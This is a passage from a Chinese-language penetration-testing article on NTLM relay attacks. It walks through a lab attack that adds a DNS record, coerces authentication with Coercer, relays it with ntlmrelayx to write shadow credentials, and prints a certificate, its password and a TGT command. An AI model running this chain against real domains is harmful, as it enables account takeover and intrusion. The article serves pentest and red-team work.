接下来,我们将向域中添加一个指向我们攻击性 Linux 系统的 DNS 记录。为此步骤,我建议使用来自 krbrelayx 仓库的 dnstool.py。这个 DNS 记录对于目标系统将我们的设备视为“内网区域”是必要的,这将导致系统在响应 WebClient 身份验证强制攻击时发送其 NTLM 凭据。如果我们尝试使用我们的 IP 地址进行身份验证强制,则不会收到任何凭据。
# python3 dnstool.py -u 'babysteps.domaindomainuser' -p 'password' -a add -r attacker -d 10.2.10.1 10.2.10.11
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
# host attacker.babysteps.domain
<em>attacker.babysteps.domain has address 10.2.10.1</em>
接下来,我们将使用 ntlmrelayx,并设置与影子凭据攻击相关的适当标志。
# ntlmrelayx.py -t ldap://10.2.10.11 --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' --no-validate-privs --no-dump --no-da
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
然后,使用 Coercer 触发 HTTP 身份验证尝试。
# python3 ./Coercer.py coerce --auth-type http -l attacker -t 10.2.10.21 -d babysteps.domain -u domainuser -p 'password' --filter-protocol-name MS-EFS
______
/ ____/___ ___ _____________ _____
/ / / __ / _ / ___/ ___/ _ / ___/
/ /___/ /_/ / __/ / / /__/ __/ / v2.4.3
____/____/___/_/ ___/___/_/ by @podalirius_
[info] Starting coerce mode
[info] Scanning target 10.2.10.21
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49668,49669,49670,49671,49672
[+] SMB named pipe 'PIPEefsrpc' is accessible!
[+] Successful bind to interface (df1941c5-fe89-4e79-bf10-463657acf44d, 1.0)!
<em>[+] (ERROR_BAD_NETPATH) MS-EFSR──>EfsRpcAddUsersToFile(FileName='\attacker@80/ryzsharefile.txtx00')</em>
Continue (C) | Skip this function (S) | Stop exploitation (X) ? X
[+] All done! Bye Bye!
在成功进行身份验证强制后,我们从计算机账户 LA-WIN11-22H2-1$ 收到一个经过身份验证的 HTTP 连接,将其转发到域控制器上的 LDAP 服务,并修改该计算机的 msDS-KeyCredentialLink 属性。
# ntlmrelayx.py -t ldap://10.2.10.11 --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' --no-validate-privs --no-dump --no-da
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
<em>[*] HTTPD(80): Connection from 10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED</em>
[*] Searching for the target account
[*] Target user found: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
[*] Generating certificate
[*] HTTPD(80): Connection from 10.2.10.21 controlled, but there are no more targets left!
[*] Certificate generated
[*] Generating KeyCredential
<em>[*] KeyCredential generated with DeviceID: d30f1f28-2ac7-0094-dba3-889e44050e75
[*] Updating the msDS-KeyCredentialLink attribute of LA-WIN11-22H2-1$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: jvOs1DVT.pfx
[*] Must be used with password: 874guT1ctGMTqvqm7NND
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx jvOs1DVT.pfx -pfx-pass 874guT1ctGMTqvqm7NND babysteps.domain/LA-WIN11-22H2-1$ jvOs1DVT.ccache</em>
从这里开始,我们可以按照之前攻击示例中展示的相同步骤进行操作——无论是 S4U2Self 还是银票攻击选项。回顾一下,这种攻击与流行的基于 Kerberos 的资源委派攻击非常相似(如 这里 和 这里 所描述),但它的优势在于不需要创建新的计算机账户或之前已经妥协的现有账户。
结论
希望这篇文章突显了一些 NTLM 中继攻击的机会,这些机会在其他情况下可能会被忽视。我的目标是将这些添加到每个人的工具库中,以便让进攻性安全专业人员在渗透测试和红队演练中更好地评估内部网络的安全性,最终为我们的客户创造更安全的环境。
原文始发于微信公众号(securitainment):超越基础:探索不常见的 NTLM 中继攻击技术
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论